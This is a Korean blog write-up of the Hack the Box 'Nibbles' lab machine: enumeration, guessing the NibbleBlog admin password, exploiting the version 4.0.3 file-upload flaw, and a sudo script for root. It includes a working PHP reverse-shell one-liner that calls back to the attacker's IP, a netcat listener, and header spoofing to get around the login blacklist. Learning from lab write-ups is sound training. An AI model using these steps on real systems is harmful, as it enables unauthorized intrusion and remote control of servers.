GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation
Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.
github.com
nmap
-p- 옵션,
-sU 옵션
다 아무것도 안나왔다...
http://10.10.10.75
http://10.10.10.75/nibbleblog/
여기까지 보고도 감이 안와서 다 눌러보고.. 들어가보고...(삽질)
gobuster
/README
nibbleblog가 실제로 있는 사이트였다... 빠르고 쉽게 블로그 만들 수 있는 곳 같다.. 충격...
구글링해보면 실존하는(?) 사이트임을 알 수 있다.
그리고 nibbleblog의 버전도 파악할 수 있다. v4.0.3
/admin.php
username은 admin으로, password를 구하는 부분에서 삽질 엄청하고
결국 해결하지 못하고 롸업을 봤다.
근데 다 admin/admin, admin/password, admin/nibbles 해보다가 알아냈다고 한다......
username: admin/ password: nibbles
여기가 바로 삽질한 부분...
많은 부분 잘라내고 그나마 의미있어 보이는? 부분만 남겼다.
hydra
저걸로 로그인 안된다...
/nibbleblog/content/private/users.xml
내 ip(10.10.14.30)가 블랙 리스트에 올라있다. 로그인 시도 횟수가 fail_count인 듯
burp suite intruder로 x-forwarded-for을 10.10.14.16으로 변조해서 로그인 시도했더니 그것도 함께 찍힌다.
어쩌라고..
searchsploit nibbleblog
딱 두 개 나오는데 하나가 딱 맞는 버전(4.0.3)임을 알 수 있다.
38489.rb
metasploit을 써야 한다네
msfconsole (metasploit)
옵션 보니까 username, password, rhosts, rport, targeturi, lhost, lport를 모두 입력해야 한다.
.
.
.
일단 metasploit 쓰기 싫으니까 넘기고 롸업을 다시 보자
아까 nibbleblog v4.0.3임을 알아냈으니까
구글링 "nibbleblog 4.0.3 vulnerability"
맨 위에 뜨는 https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html
정리하면,
1. Introduction
Affected Product: NibbleBlog 4.0.3
Vulnerability Type: Code Execution
Remote Exploitable: Yes
2. Description
"My image" 플러그인(보통 nibbleblog와 default로 제공됨)으로 이미지 파일을 업로드할 때 발생하는 취약점
nibbleblog v4.0.3은 업로드한 파일의 original 확장자를 그대로 유지한다.
이 확장자, 실제 파일 타입은 체크되지 않는다.
그러므로 php 파일을 업로드해서 code execution을 가능하게 한다.
* admin 권한이 필요하다. -> 우리는 admin/nibbles를 알고있다.
3. PoC
- admin credential을 얻어라
- my image plugin을 활성화 하라
- php shell을 업로드하라. warning은 무시하고
- http://localhost/nibbleblog/content/private/plugins/my_image/image.php 를 방문하라
user.txt
1. 내 로컬에 리버스 쉘 코드를 포함한 image.php를 만든다.
image.php (https://www.revshells.com/)
php -r '$sock=fsockopen("10.10.14.30",1234);exec("sh <&3 >&3 2>&3");'
2. nc -nlvp 1234
3. 그리고 gobust의 결과를 보고 여기저기 다 접속해봤으면 파악했겠지만 여기에 image.php가 존재한다.
image.php를 클릭하면 리버스 쉘이 실행되면서 쉘이 따진다.
여기서 바로 user.txt를 찾을 수도 있지만, 좀 예쁘게 보도록 하자.
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg
[***]
raw: input and output is not processed, just sent straight through.(내 명령어를 그대로 전달한다)
-echo: disable echo(내가 입력한 것 그대로 다시 나오지 않게)
권한 상승(root.txt)
sudo -l
cat /home/nibbler/personal/stuff/monitor.sh
없단다...
[***] sh 확장자란?
- shell script 확장자
- 쉘에서 사용할 수 있는 명령어들의 조합을 모아서 만든 배치(batch) 파일
- 리눅스에서는 여러 명령어들을 파이프(pipe), 리다이렉션(redirection), 필터(filter) 등으로 연결하여 원하는 결과를 얻어 낼 수 있다. 이런 방식으로 묶여진 명령어 조합이 반복적으로 사용된다면, 이를 쉘 스크립트로, 즉 단일 명령으로 만들어 쉽게 사용할 수 있다.
출처: https://linuxism.ustd.ip.or.kr/1514
mkdir -p /home/nibbler/personal/stuff
cd /home/nibbler/personal/stuff
vi monitor.sh
#!/bin/bash
bash
chmod +x monitor.sh
sudo ./monitor.sh
여태 푼 문제 중에 혼자 가장 많이 삽질 해봤던 문제...
딕셔너리 어택으로 username/password 안나왔는데 다들 그냥 감으로 풀었을 줄이야....
삽질 실력을 더 키우도록 하자... 꼭 끝까지 내 힘으로 풀 수 있기를..
'워게임 > hackthebox' 카테고리의 다른 글
friendzone 롸업 정리 (0) | 2021.09.11 |
---|---|
bashed 롸업 정리 (0) | 2021.09.10 |
RSA 알고리즘 (0) | 2021.09.09 |
brainfuck 롸업 정리(wpscan, pop3 포함) (0) | 2021.09.07 |
shocker 롸업 정리 (0) | 2021.09.05 |
댓글